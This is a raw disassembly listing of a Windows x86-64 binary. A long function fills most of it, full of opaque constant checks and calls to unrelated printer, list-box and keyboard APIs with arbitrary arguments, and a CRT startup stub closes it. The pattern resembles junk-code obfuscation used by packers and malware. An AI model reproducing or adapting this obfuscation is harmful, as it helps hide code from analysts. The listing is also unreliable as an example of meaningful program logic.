mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx ecx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx r9d, al
movzx eax, byte [rbp + 0xebb]
movsx r8d, al
movzx eax, byte [rbp + 0x34]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
jmp 0x1400fd227
nop
jmp 0x1400fd228
nop
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x3a18]
movabs rdx, 0x4e8a9446b95c16d4
cmp rax, rdx
je 0x1400fd288
movabs rdx, 0x6c7fe3aa72f7adef
cmp rax, rdx
jne 0x1400fd289
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
and edx, ecx
mov word [rax], dx
jmp 0x1400fd289
nop
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
lea rdx, [rbp + 0x4ed0]
lea rax, [rbp + 0x26a0]
mov dword [rsp + 0x20], 0x9c
mov r9, rdx
mov r8, rax
mov edx, 0x3e
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
mov dword [rbp + 0xf40], eax
jmp 0x1400fd3cc
mov rdx, qword [rbp + 0x2d68]
mov rax, qword [rbp + 0x2d68]
mov r8d, 0x5c
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_DrawInsert]
call rax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x3fac]
cmp eax, 0x2160e1b9
je 0x1400fd336
cmp eax, 0x264acda2
je 0x1400fd368
jmp 0x1400fd3cb
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2990]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x2990]
mov rax, qword [rax]
mov rcx, rax
call fcn.1400fe14c
jmp 0x1400fd3cb
mov ecx, dword [rbp + 0x1200]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x740]
and edx, ecx
mov dword [rax], edx
mov eax, dword [rbp + 0x3fac]
mov dword [rbp + 0xf40], eax
mov rax, qword [rbp + 0x25e0]
mov rdx, qword [rbp + 0x6a4]
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_LBItemFromPt]
call rax
mov dword [rbp + 0x105c], eax
movzx ecx, byte [rbp + 0x20b6]
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
nop
nop
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x56
je 0x1400fd40b
cmp eax, 0x60
jne 0x1400fd42b
movzx eax, byte [rbp + 0x3657]
movzx ecx, al
movzx eax, word [rbp + 0xee4]
movzx edx, ax
mov rax, qword [rbp + 0x2d10]
mov r8d, ecx
mov rcx, rax
call fcn.1400fe387
jmp 0x1400fd42b
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0xee4], ax
nop
nop
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x1200], eax
mov rax, qword [rbp + 0x1af68]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x3048]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x24a8]
movabs rax, 0xf1012ed7291c08ff
cmp rdx, rax
jne 0x1400fd4d0
mov rax, qword [rbp + 0x1a9d8]
mov r9d, 6
mov r8d, 0xdc
mov edx, 0x25
mov rcx, rax
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rbp + 0x1f78], rax
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x24a8], rdx
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
add dx, 0xd7e
mov word [rax], dx
jmp 0x1400fd4f7
mov rax, qword [rbp + 0x25e0]
mov rdx, qword [rbp + 0x14e8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_LBItemFromPt]
call rax
mov dword [rbp + 0xf40], eax
nop
nop
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x20b6]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x3f13], al
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, cl
div dl
mov edx, eax
movzx eax, byte [rbp + 0x20b6]
cmp dl, al
jb 0x1400fd5ec
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x54
je 0x1400fd560
cmp eax, 0xe2
je 0x1400fd584
jmp 0x1400fd5ec
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
xor edx, ecx
mov word [rax], dx
call fcn.1400fdbea
jmp 0x1400fd5ec
mov r8, qword [rbp + 0x7e0]
mov rdx, qword [rbp + 0x4f38]
mov rax, qword [rbp + 0x4b80]
mov dword [rsp + 0x28], 0xe8
lea rcx, [rbp + 0xee4]
mov qword [rsp + 0x20], rcx
mov r9d, 0xee
mov rcx, rax
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rbp + 0x1bc8], eax
movzx eax, byte [rbp + 0x4afb]
and eax, 0x4b
mov byte [rbp + 0x4afb], al
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
add edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
nop
nop
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
mov dword [rbp + 0x1bc8], eax
movzx eax, byte [rbp + 0x4afb]
movsx ecx, al
movzx eax, byte [rbp + 0x4afb]
movsx r9d, al
movzx eax, byte [rbp + 0x4afb]
movsx r8d, al
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
jmp 0x1400fd6ac
movzx eax, byte [rbp + 0x3f13]
cmp al, 0x49
ja 0x1400fd6ac
mov rcx, qword [rbp + 0x7e0]
mov rdx, qword [rbp + 0x2d68]
mov rax, qword [rbp + 0x330]
mov r8, rcx
mov rcx, rax
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rbp + 0xd8], eax
mov rax, qword [rbp + 0x840]
movabs rdx, 0xa6d6b3e8a0a99724
and rax, rdx
mov qword [rbp + 0x840], rax
mov dword [rsp + 0x20], 0x7e
mov r9d, 0xffffffef
mov r8d, 0xffffffb8
mov edx, 0xffffff9a
mov ecx, 0
call fcn.1400fd7d7
mov rax, qword [rbp + 0x840]
mov rcx, rax
call fcn.1400fe82e
mov eax, dword [rbp + 0x1afac]
add rsp, 0x1b120
pop rbp
ret
push rdi
push rbx
sub rsp, 0x98
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p__wcmdln
xor edx, edx
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400ff2d3
jmp 0x1400ff350
test ax, ax
je 0x1400ff2f8
and edx, 1
je 0x1400ff2f8
mov edx, 1
add rbx, 2
movzx eax, word [rbx]
cmp ax, 0x20
jbe 0x1400ff2c0
mov ecx, edx
xor ecx, 1
cmp ax, 0x22
cmove edx, ecx
jmp 0x1400ff2cf
movzx eax, word [rbx + 2]
add rbx, 2
sub eax, 1
cmp ax, 0x1f
jbe 0x1400ff2f0
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400ff32f
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140102a20]
mov r8, rbx
xor edx, edx
add rsp, 0x98
pop rbx
pop rdi
jmp 0x140001450
lea rbx, [0x140102690]
jmp 0x1400ff301